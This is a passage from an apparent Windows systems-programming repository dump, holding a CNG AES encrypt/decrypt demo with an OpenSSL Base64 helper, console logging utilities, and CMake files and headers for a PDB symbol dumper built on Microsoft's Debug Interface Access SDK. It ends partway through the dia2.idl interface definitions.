    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Main.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Util.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"AES.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"AES.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Util.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"nthelpers.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Base64.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "Cryptography/AES CNG/source/Base64.h",
    "content": "#pragma once\n#include <Windows.h>\n#include <string>\n#include <vector>\n\n#include <openssl/bio.h>\n#include <openssl/evp.h>\n#include <openssl/buffer.h>\n\n#pragma comment(lib, \"libcrypto.lib\")\n\nsize_t GetDecodedLength(std::string EncodedString) {\n\tsize_t len = EncodedString.size();\n\tsize_t padding = 0;\n\n\tif (EncodedString[len - 1] == '=' && EncodedString[len - 2] == '=') {\n\t\tpadding = 2;\n\t} else if (EncodedString[len - 1] == '=') {\n\t\tpadding = 1;\n\t}\n\n\tlen = ((len * 3) / 4) - padding;\n\treturn len;\n}\n\nnamespace Base64 {\n\tstd::string Base64Encode(PUCHAR input, int Length) {\n\t\tBIO* bio = NULL;\n\t\tBIO* b64 = NULL;\n\t\tBUF_MEM* bPointer = NULL;\n\n\t\tb64 = BIO_new(BIO_f_base64());\n\t\tbio = BIO_new(BIO_s_mem());\n\t\tbio = BIO_push(b64, bio);\n\n\t\tBIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);\n\n\t\tBIO_write(b64, input, Length);\n\t\tBIO_flush(bio);\n\t\tBIO_get_mem_ptr(bio, &bPointer);\n\t\tBIO_set_close(bio, BIO_NOCLOSE);\n\t\tBIO_free_all(bio);\n\n\t\tstd::string result(bPointer->length, '\\0');\n\t\tRtlCopyMemory(&result[0], bPointer->data, bPointer->length);\n\t\tBUF_MEM_free(bPointer);\n\n\t\treturn result;\n\t}\n\n\tstd::vector<uint8_t> Base64Decode(std::string input) {\n\t\tBIO* bio = NULL;\n\t\tBIO* b64 = NULL;\n\n\t\tbio = BIO_new_mem_buf(input.c_str(), -1);\n\t\tb64 = BIO_new(BIO_f_base64());\n\t\tbio = BIO_push(b64, bio);\n\n\t\tBIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);\n\n\t\tsize_t DecodedLength = GetDecodedLength(input);\n\t\tstd::vector<uint8_t> OriginalEncryptedValues(DecodedLength, 0);\n\n\t\tBIO_read(bio, OriginalEncryptedValues.data(), static_cast<int>(DecodedLength));\n\t\tBIO_free_all(bio);\n\n\t\treturn OriginalEncryptedValues;\n\t}\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/Main.cpp",
    "content": "#pragma once\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n#ifndef NOCOMM\n#define NOCOMM\n#endif\n#include <Windows.h>\n#include <iostream>\n#include <ntstatus.h>\n#include <vector>\n\n#include \"nthelpers.h\"\n#include \"AES.h\"\n#include \"Util.h\"\n\nstd::string EasyEncrypt(std::string sPlaintext) {\n\tCNG::Util::WriteInfoMessage(L\"Initialising AESEncrypt object\\n\");\n\tCNG::AESEncrypt* encrypt = new CNG::AESEncrypt();\n\tif (encrypt->Initialise() == FALSE) {\n\t\tCNG::Util::WriteErrorMessage(L\"Unable to initialise AESEncrypt module\\n\");\n\t\treturn \"\";\n\t}\n\n\t// Encrypt the string\n\tCNG::Util::WriteInfoMessage(L\"Encrypt the string\\n\");\n\tencrypt->SetStringToEncrypt(sPlaintext);\n\tif (encrypt->Encrypt() == FALSE) {\n\t\tCNG::Util::WriteErrorMessage(L\"Error while encrypting the string\\n\");\n\t\treturn \"\";\n\t}\n\n\t// Get the base64 string \n\tstd::string sBase64String = encrypt->GetEncryptedBase64String();\n\n\t// Cleanup\n\tif (encrypt)\n\t\tencrypt->~AESEncrypt();\n\n\treturn sBase64String;\n}\n\nstd::string EasyDecrypt(std::string sCipherText) {\n\tCNG::Util::WriteInfoMessage(L\"Initialising AESDecrypt object\\n\");\n\tCNG::AESDecrypt* decrypt = new CNG::AESDecrypt();\n\tif (decrypt->Initialise() == FALSE) {\n\t\tCNG::Util::WriteErrorMessage(L\"Unable to initialise AESDecrypt module\\n\");\n\t\treturn \"\";\n\t}\n\n\t// Decrypt the string\n\tCNG::Util::WriteInfoMessage(L\"Decrypt the string\\n\");\n\tdecrypt->SetBase64StringToDecrypt(sCipherText);\n\tif (decrypt->Decrypt() == FALSE) {\n\t\tCNG::Util::WriteErrorMessage(L\"Error while decrypting the string\\n\");\n\t\treturn \"\";\n\t}\n\n\t// Get the decrypted string\n\tstd::string sPlaintext = decrypt->GetDecryptedString();\n\n\t// Cleanup\n\tif (decrypt)\n\t\tdecrypt->~AESDecrypt();\n\n\treturn sPlaintext;\n}\n\nint wmain(int argc, wchar_t* argv[]) {\n\t// Parameters are not used\n\tUNREFERENCED_PARAMETER(argc);\n\tUNREFERENCED_PARAMETER(argv);\n\n\tCNG::Util::WriteInfoMessage(L\"Windows Cryptography API Next Generation - Example\\n\");\n\tCNG::Util::WriteInfoMessage(L\"Documentation: https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal\\n\");\n\tCNG::Util::WriteMessage(L\"   ---------------------------------------------------------------------------------\\n\\n\");\n\n\tstd::string sPlaintext = \"cum lux abest, tenebrae vincunt\";\n\n\t// Encrypt\n\tstd::string sB64CipherText = EasyEncrypt(sPlaintext);\n\tCNG::Util::WriteSuccessMessage(L\"Base64 cipher:\\n\");\n\tstd::cout << \"\\t\" << sB64CipherText << std::endl << std::endl << std::endl;\n\n\t// Decrypt\n\tstd::string sCipherTextDecrypted = EasyDecrypt(sB64CipherText);\n\tCNG::Util::WriteSuccessMessage(L\"Plaintext: \\n\");\n\tstd::cout << \"\\t\" << sCipherTextDecrypted << std::endl;\n\n\treturn 1;\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/Util.cpp",
    "content": "#pragma once\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n#ifndef NOCOMM\n#define NOCOMM\n#endif\n#include <Windows.h>\n#include <iostream>\n#include \"Util.h\"\n\nnamespace CNG {\n\tVOID WINAPI Util::WriteSuccessMessage(std::wstring wsBuffer) {\n\t\tstd::wcout << L\"[+] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteSuccessMessage(std::wstring wsBuffer, int tabs) {\n\t\tfor (int i = 0; i <= tabs; i++)\n\t\t\tstd::wcout << \" \";\n\t\tstd::wcout << L\"[+] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteErrorMessage(std::wstring wsBuffer) {\n\t\tstd::wcout << L\"[-] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteErrorMessage(std::wstring wsBuffer, int tabs) {\n\t\tfor (int i = 0; i <= tabs; i++)\n\t\t\tstd::wcout << \" \";\n\t\tstd::wcout << L\"[-] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteInfoMessage(std::wstring wsBuffer) {\n\t\tstd::wcout << L\"[>] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteInfoMessage(std::wstring wsBuffer, int tabs) {\n\t\tfor (int i = 0; i <= tabs; i++) \n\t\t\tstd::wcout << \" \";\n\t\tstd::wcout << L\"[>] \";\n\t\tUtil::WriteMessage(wsBuffer);\n\t}\n\n\tVOID WINAPI Util::WriteMessage(std::wstring wsBuffer) {\n\t\tstd::wcout << wsBuffer;\n\t}\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/Util.h",
    "content": "#pragma once\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n#ifndef NOCOMM\n#define NOCOMM\n#endif\n#include <Windows.h>\n\nnamespace CNG {\n\tclass Util {\n\t\tpublic:\n\t\tstatic VOID WriteSuccessMessage(std::wstring wsBuffer);\n\t\tstatic VOID WriteSuccessMessage(std::wstring wsBuffer, int tabs);\n\n\t\tstatic VOID WriteErrorMessage(std::wstring wsBuffer);\n\t\tstatic VOID WriteErrorMessage(std::wstring wsBuffer, int tabs);\n\n\t\tstatic VOID WriteInfoMessage(std::wstring wsBuffer);\n\t\tstatic VOID WriteInfoMessage(std::wstring wsBuffer, int tabs);\n\n\t\tstatic VOID WriteMessage(std::wstring wsBuffer);\n\t};\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/nthelpers.h",
    "content": "#pragma once\n#define NT_SUCCESS(Status)\t\t\t\t(((NTSTATUS)(Status)) >= 0)\n#define STATUS_UNSUCCESSFUL\t\t\t\t0xC0000001\n#define STATUS_INVALID_BUFFER_SIZE\t\t0xC0000206"
  },
  {
    "path": "DIA/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @data        13/06/2022\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       Microsoft Debug Interface Access (DIA) CMake configuration file.\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\ninclude_directories(inc)\n\nadd_executable(dia-dump\n\t\"src/main.c\"\n\t\"src/callback.c\"\n\t\"src/interface.c\"\n\t\"src/dirutil.c\"\n)\n\n# Add all post-build commands\nadd_custom_command(\n\tTARGET dia-dump\n\tPOST_BUILD\n\tCOMMAND ${CMAKE_COMMAND} -E echo \"Start post-build commands\" \n\n\t# Make all the directories\n\tCOMMAND ${CMAKE_COMMAND} -E make_directory \"${CMAKE_BINARY_DIR}/DIA/pdb\"\n\tCOMMAND ${CMAKE_COMMAND} -E make_directory \"${CMAKE_BINARY_DIR}/DIA/msdia\"\n\t\n\t# Copy binaries required\n\tCOMMAND ${CMAKE_COMMAND} -E copy \"${CMAKE_SOURCE_DIR}/DIA/tools/symsrv.dll\" \"${CMAKE_BINARY_DIR}/DIA/pdb/\"\n\tCOMMAND ${CMAKE_COMMAND} -E copy \"${CMAKE_SOURCE_DIR}/DIA/tools/msdia140.dll\" \"${CMAKE_BINARY_DIR}/DIA/msdia/\"\n\n\t# End\n\tCOMMAND ${CMAKE_COMMAND} -E echo \"Start post-build commands ... OK\" \n)\n"
  },
  {
    "path": "DIA/inc/callback.h",
    "content": "/*+================================================================================================\nModule Name: callback.h\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nAbstraction of the Microsoft Debug Interface Access (DIA) SDK.\n\nIn this case this module contains the code for the CCallback COM interface implementation when loading PDB from\na PE EXE file.\n\nDocumentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk\nMost of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK.\n================================================================================================+*/\n\n#ifndef __DIA_CALLBACK_H_GUARD__\n#define __DIA_CALLBACK_H_GUARD__\n\n#include <Windows.h>\n\n#include \"msdia/include/dia2.h\"\n\ntypedef struct DiaCallback {\n\n    // Virtual Table for the callback\n    CONST_VTBL struct IDiaLoadCallback2* lpVtbl;\n\n    // Reference counter for the AddRef/Release methods\n    int m_nRefCount;\n} DiaCallback;\n\n\nHRESULT STDMETHODCALLTYPE\n_Must_inspect_result_\n_Success_(return == S_OK)\nDiaCallbackHelper(\n    _In_    BOOLEAN Initialise,\n    _Inout_ PVOID** Callback\n);\n\n#endif // !__DIA_CALLBACK_H_GUARD__\n"
  },
  {
    "path": "DIA/inc/dirutil.h",
    "content": "/*+================================================================================================\nModule Name: dirutil.h\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nWindows Directory utility code.\nUsed to change directory to the \"PDB\" folder and get the correct symbol server search path.\n\n================================================================================================+*/\n\n#ifndef __DIA_DIRUTIL_H_GUARD__\n#define __DIA_DIRUTIL_H_GUARD__\n\n#include <Windows.h>\n\n_Must_inspect_result_\nHRESULT ChangeDirectory(\n\t_In_ PWCHAR Directory,\n\t_In_ DWORD  Size\n);\n\n_Must_inspect_result_\nPWCHAR GetSymSrvSearchPath(\n\tVOID\n);\n\n_Must_inspect_result_\nPWCHAR GetMsdiaModulePath(\n\tVOID\n);\n\n_Must_inspect_result_\nHRESULT ResetDirectory(\n\tVOID\n);\n\n#endif // !__DIA_DIRUTIL_H_GUARD__\n"
  },
  {
    "path": "DIA/inc/interface.h",
    "content": "/*+================================================================================================\nModule Name: interface.h\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nAbstraction of the Microsoft Debug Interface Access (DIA) SDK.\n\nDocumentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk\nMost of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK.\n================================================================================================+*/\n\n#ifndef __DIA_INTERFACE_H_GUARD__\n#define __DIA_INTERFACE_H_GUARD__\n\n#include <Windows.h>\n\n#include \"msdia/include/dia2.h\"\n#include \"msdia/include/cvconst.h\"\n\n#include \"callback.h\"\n#include \"dirutil.h\"\n\n// Type definition of the \"DllGetClassObject\" routine from the msdiaXXX.dll module.\ntypedef HRESULT(STDMETHODCALLTYPE* TDllGetClassObject)(\n\t_In_  REFCLSID rclsid,\n\t_In_  REFIID   riid,\n\t_Out_ LPVOID* ppv\n);\n\n/// <summary>\n/// Simple structure to store all the information\n/// </summary>\ntypedef struct _PUBLIC_SYMBOL {\n\tDWORD dwTag;\n\tDWORD dwRVA;\n\tDWORD dwOff;\n\tDWORD dwSeg;\n\tBSTR  Name;\n} PUBLIC_SYMBOL, *PPUBLIC_SYMBOL;\n\n\n/// <summary>\n/// Initialise the COM runtime and IDiaDataSource interface.\n/// </summary>\nHRESULT STDMETHODCALLTYPE\n_Must_inspect_result_\n_Success_(return == S_OK)\nDiaInitialise(\n\t_In_ PWCHAR DllName\n);\n\n\n/// <summary>\n/// Uninitialise the COM runtime and general cleanup.\n/// </summary>\nVOID STDMETHODCALLTYPE DiaUninitialise();\n\n\n/// <summary>\n/// Load the data from the PDB file provided.\n/// </summary>\n\nHRESULT STDMETHODCALLTYPE\n_Must_inspect_result_\n_Success_(return == S_OK)\nDiaLoadDataFromPdb(\n\t_In_ PWCHAR FilePath\n);\n\n\n/// <summary>\n/// Parse the PDB file to find all symbols requested.\n/// </summary>\nHRESULT STDMETHODCALLTYPE\n_Must_inspect_result_\n_Success_(return == S_OK)\nDiaFindPublicSymbols(\n\t_In_ PUBLIC_SYMBOL PublicSymbols[],\n\t_In_ DWORD         Elements\n);\n\n#endif // !__DIA_INTERFACE_H_GUARD__\n"
  },
  {
    "path": "DIA/inc/msdia/idl/dia2.idl",
    "content": "// dia2.idl - Debug Information Access (DIA) interface description\n//-----------------------------------------------------------------\n//\n// Copyright 1999-2000 Microsoft Corporation.  All Rights Reserved.\n//\n//---------------------------------------------------------------\nimport \"objidl.idl\";\nimport \"oaidl.idl\";\nimport \"propidl.idl\";\n\nimport \"cvconst.h\";\n\nenum NameSearchOptions\n{\n    nsNone = 0,\n\n    nsfCaseSensitive = 0x1,         // apply a case sensitive match\n    nsfCaseInsensitive = 0x2,       // apply a case insensitive match\n    nsfFNameExt = 0x4,              // treat names as paths and apply a filename.ext match\n    nsfRegularExpression = 0x8,     // regular expression\n    nsfUndecoratedName = 0x10,      // applies only to symbols that have both undecorated and decorated names\n\n    // predefined names for backward source compatibility\n\n    nsCaseSensitive = nsfCaseSensitive,             // apply a case sensitive match\n    nsCaseInsensitive = nsfCaseInsensitive,         // apply a case insensitive match\n    nsFNameExt = nsfCaseInsensitive | nsfFNameExt,  // treat names as paths and apply a filename.ext match\n    nsRegularExpression = nsfRegularExpression | nsfCaseSensitive,      // regular expression (using only '*' and '?')\n    nsCaseInRegularExpression = nsfRegularExpression | nsfCaseInsensitive,  // case insensitive regular expression\n};\n\n\n// the following are error HRESULTS returned by an IDiaDataSource they\n// are based on the FACILITY_VISUALCPP (0x6d) defined in delayimp.h\n\nenum \n{\n    E_PDB_OK=((HRESULT) (((unsigned long)(1)<<31) | ((unsigned long)(((LONG)0x6d))<<16) | ((unsigned long)(1))) ),\n    E_PDB_USAGE                 ,\n    E_PDB_OUT_OF_MEMORY         , // not used, use E_OUTOFMEMORY\n    E_PDB_FILE_SYSTEM           ,\n    E_PDB_NOT_FOUND             ,\n    E_PDB_INVALID_SIG           ,\n    E_PDB_INVALID_AGE           ,\n    E_PDB_PRECOMP_REQUIRED      ,\n    E_PDB_OUT_OF_TI             ,\n    E_PDB_NOT_IMPLEMENTED       ,   // use E_NOTIMPL\n    E_PDB_V1_PDB                ,\n    E_PDB_FORMAT                ,\n    E_PDB_LIMIT                 ,\n    E_PDB_CORRUPT               ,\n    E_PDB_TI16                  ,\n    E_PDB_ACCESS_DENIED         ,  // use E_ACCESSDENIED\n    E_PDB_ILLEGAL_TYPE_EDIT     ,\n    E_PDB_INVALID_EXECUTABLE    ,\n    E_PDB_DBG_NOT_FOUND         ,\n    E_PDB_NO_DEBUG_INFO         ,\n    E_PDB_INVALID_EXE_TIMESTAMP ,\n    E_PDB_RESERVED              ,\n    E_PDB_DEBUG_INFO_NOT_IN_PDB ,\n    E_PDB_SYMSRV_BAD_CACHE_PATH ,\n    E_PDB_SYMSRV_CACHE_FULL     ,\n    E_PDB_OBJECT_DISPOSED       ,\n    E_PDB_MAX\n};\n\n#define PROPERTY_RW(type, name, prid, help)           \\\n        [propget, helpstring(help), id(prid)]         \\\n        HRESULT name([out, retval] type * pRetVal);   \\\n                                                      \\\n        [propput, helpstring(help), id(prid)]         \\\n        HRESULT name([in] type NewVal)\n\n#define PROPERTY_ARRAY_RW(type, itype, name, prid, help)           \\\n        [propget, helpstring(help), id(prid)]         \\\n        HRESULT name([in] itype index, [out, retval] type * pRetVal);   \\\n                                                      \\\n        [propput, helpstring(help), id(prid)]         \\\n        HRESULT name([in] itype index, [in] type NewVal)\n\n#define PROPERTY_RO(type, name, prid, help)           \\\n        [propget, helpstring(help), id(prid)]         \\\n        HRESULT name([out, retval] type * pRetVal) \n\n#define PROPERTY_ARRAY_RO(type, itype, name, prid, help)           \\\n        [propget, helpstring(help), id(prid)]         \\\n        HRESULT name([in] itype index, [out, retval] type * pRetVal)\n\n// type of callback arg to IDiaDataSource::loadDataForExe\ntypedef void (__cdecl *PfnPDBDebugDirV)(BOOL, /*const struct _IMAGE_DEBUG_DIRECTORY * */ void*);\n\n\ninterface IDiaSession;\ninterface IDiaEnumTables;\n\ninterface IDiaSymbol;\ninterface IDiaSourceFile;\ninterface IDiaLineNumber;\ninterface IDiaInputAssemblyFile;\ninterface IDiaInjectedSource;\ninterface IDiaSegment;\ninterface IDiaSectionContrib;\ninterface IDiaFrameData;\ninterface IDiaLVarInstance;\ninterface IDiaStackWalkHelper;\ninterface IDiaStackFrame;\ninterface IDiaLoadCallback;\ninterface IDiaLoadCallback2;\ninterface IDiaReadExeAtOffsetCallback;\ninterface IDiaReadExeAtRVACallback;\n\n[\n    object,\n    uuid(C32ADB82-73F4-421b-95D5-A4706EDF5DBE),\n    local,\n    helpstring(\"IDiaLoadCallback interface.\"),\n    pointer_default(unique)\n]\ninterface IDiaLoadCallback: IUnknown\n{\n    HRESULT NotifyDebugDir(\n                [in] BOOL fExecutable, \n                [in] DWORD cbData,\n                [in, size_is(cbData)] BYTE *pbData); // really a const struct _IMAGE_DEBUG_DIRECTORY *\n\n    HRESULT NotifyOpenDBG(\n                [in] LPCOLESTR dbgPath, \n                [in] HRESULT resultCode);\n\n    HRESULT NotifyOpenPDB(\n                [in] LPCOLESTR pdbPath, \n                [in] HRESULT resultCode);\n\n    HRESULT RestrictRegistryAccess();         // return hr != S_OK to prevent querying the registry for symbol search paths\n    HRESULT RestrictSymbolServerAccess();     // return hr != S_OK to prevent accessing a symbol server\n}\n\n[\n    object,\n    uuid(4688a074-5a4d-4486-aea8-7b90711d9f7c),\n    local,\n    helpstring(\"IDiaLoadCallback interface.\"),\n    pointer_default(unique)\n]\ninterface IDiaLoadCallback2: IDiaLoadCallback\n{\n    HRESULT RestrictOriginalPathAccess();     // return hr != S_OK to prevent looking up PDB specified in the debug directory\n    HRESULT RestrictReferencePathAccess();    // return hr != S_OK to prevent looking up for PDB where the EXE is located.\n    HRESULT RestrictDBGAccess();              // return hr != S_OK to prevent looking up debug information from DBG files.\n    HRESULT RestrictSystemRootAccess();       // return hr != S_OK to prevent looking up PDBs in system root\n}\n\n[\n    object,\n    uuid(587A461C-B80B-4f54-9194-5032589A6319),\n    local,\n    helpstring(\"IDiaReadExeAtOffsetCallback interface.\"),\n    pointer_default(unique)\n]\ninterface IDiaReadExeAtOffsetCallback: IUnknown\n{    \n    HRESULT ReadExecutableAt(\n                [in] DWORDLONG fileOffset, \n                [in] DWORD cbData,\n                [out] DWORD *pcbData,\n                [out, size_is(cbData)] BYTE *pbData);\n\n}\n\n[\n    object,\n    uuid(8E3F80CA-7517-432a-BA07-285134AAEA8E),\n    local,\n    helpstring(\"IDiaReadExeAtRVACallback interface.\"),\n    pointer_default(unique)\n]\ninterface IDiaReadExeAtRVACallback: IUnknown\n{    \n    HRESULT ReadExecutableAtRVA(\n                [in] DWORD relativeVirtualAddress, \n                [in] DWORD cbData,\n                [out] DWORD *pcbData,\n                [out, size_is(cbData)] BYTE *pbData);\n}\n\n[\n    object,\n    uuid(79F1BB5F-B66E-48e5-B6A9-1545C323CA3D),\n    local,\n    helpstring(\"IDiaDataSource Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaDataSource: IUnknown\n{\n    PROPERTY_RO( BSTR, lastError, 1, \"Text for last load error.\" );\n\n    //\n    // loadDataFromPdb\n    //\n   HRESULT loadDataFromPdb(\n               [in] LPCOLESTR pdbPath );\n\n    //\n    // loadAndValidateDataFromPdb\n    //\n   HRESULT loadAndValidateDataFromPdb(\n               [in] LPCOLESTR pdbPath,\n               [in] GUID* pcsig70,\n               [in] DWORD sig,\n               [in] DWORD age );\n\n    //\n    // loadDataForExe\n    //\n    HRESULT loadDataForExe(\n               [in] LPCOLESTR executable,\n               [in] LPCOLESTR searchPath,\n               [in] IUnknown* pCallback );\n\n    //\n    // loadDataFromIStream\n    //\n    HRESULT loadDataFromIStream(\n                [in] IStream *pIStream );\n\n\n    HRESULT openSession( \n                [out] IDiaSession** ppSession \n                );\n\n    //\n    // loadDataFromCodeViewInfo\n    //\n    HRESULT loadDataFromCodeViewInfo(\n                [in] LPCOLESTR executable,\n                [in] LPCOLESTR searchPath,\n                [in] DWORD     cbCvInfo,\n                [in, size_is(cbCvInfo)]\n                     BYTE*     pbCvInfo,\n                [in] IUnknown* pCallback );\n\n    //\n    // loadDataFromMiscInfo\n    //\n    HRESULT loadDataFromMiscInfo(\n                [in] LPCOLESTR executable,\n                [in] LPCOLESTR searchPath,\n                [in] DWORD     timeStampExe,\n                [in] DWORD     timeStampDbg,\n                [in] DWORD     sizeOfExe,\n                [in] DWORD     cbMiscInfo,\n                [in, size_is(cbMiscInfo)]\n                     BYTE*     pbMiscInfo,\n                [in] IUnknown* pCallback );\n}\n\n[\n    object,\n    uuid(CAB72C48-443B-48f5-9B0B-42F0820AB29A),\n    local,\n    helpstring(\"IDiaEnumSymbols Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSymbols: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumSymbols.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of symbols.\" );\n\n    [id(0), helpstring(\"Return the symbol for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaSymbol **symbol);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaSymbol ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumSymbols **ppenum);\n}\n\n[\n    object,\n    uuid(624B7D9C-24EA-4421-9D06-3B577471C1FA),\n    local,\n    helpstring(\"IDiaEnumSymbolsByAddr Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSymbolsByAddr: IUnknown\n{\n    //\n    // Item(ByXxx) re-positions the enumerator to the item found\n    //\n    [helpstring(\"Return the symbol for the given address.\")]\n    HRESULT symbolByAddr(\n        [in] DWORD isect, \n        [in] DWORD offset, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    [helpstring(\"Return the symbol for the given relative virtual address.\")]\n    HRESULT symbolByRVA(\n        [in] DWORD relativeVirtualAddress, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    [helpstring(\"Return the symbol for the given virtual address.\")]\n    HRESULT symbolByVA(\n        [in] ULONGLONG virtualAddress, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaSymbol ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n\n    HRESULT Prev(\n        [in] ULONG celt,          \n        [out] IDiaSymbol ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n\n    HRESULT Clone(\n        [out] IDiaEnumSymbolsByAddr **ppenum);\n}\n\n[\n    object,\n    uuid(1E45BD02-BE45-4D71-BA32-0E576CFCD59F),\n    local,\n    helpstring(\"IDiaEnumSymbolsByAddr2 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSymbolsByAddr2: IDiaEnumSymbolsByAddr\n{\n    HRESULT symbolByAddrEx(\n        [in] BOOL fPromoteBlockSym,\n        [in] DWORD isect, \n        [in] DWORD offset, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    HRESULT symbolByRVAEx(\n        [in] BOOL fPromoteBlockSym,\n        [in] DWORD relativeVirtualAddress, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    HRESULT symbolByVAEx(\n        [in] BOOL fPromoteBlockSym,\n        [in] ULONGLONG virtualAddress, \n        [out, retval]IDiaSymbol** ppSymbol);\n\n    HRESULT NextEx(\n        [in] BOOL fPromoteBlockSym,\n        [in] ULONG celt,          \n        [out] IDiaSymbol ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n\n    HRESULT PrevEx(\n        [in] BOOL fPromoteBlockSym,\n        [in] ULONG celt,          \n        [out] IDiaSymbol ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n}\n\n[\n    object,\n    uuid(10F3DBD9-664F-4469-B808-9471C7A50538),\n    local,\n    helpstring(\"IDiaEnumSourceFiles Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumSourceFiles: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumSourceFiles.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of source files.\" );\n\n    [id(0), helpstring(\"Return the source file for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaSourceFile **sourceFile);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaSourceFile ** rgelt,   \n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumSourceFiles **ppenum);\n}\n\n[\n    object,\n    uuid(1C7FF653-51F7-457E-8419-B20F57EF7E4D),\n    local,\n    helpstring(\"IDiaEnumInputAssemblyFiles Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumInputAssemblyFiles: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumInputAssemblyFiles.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of input assembly files.\" );\n\n    [id(0), helpstring(\"Return the source file for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IDiaInputAssemblyFile **file);\n\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaInputAssemblyFile ** rgelt,\n        [out] ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    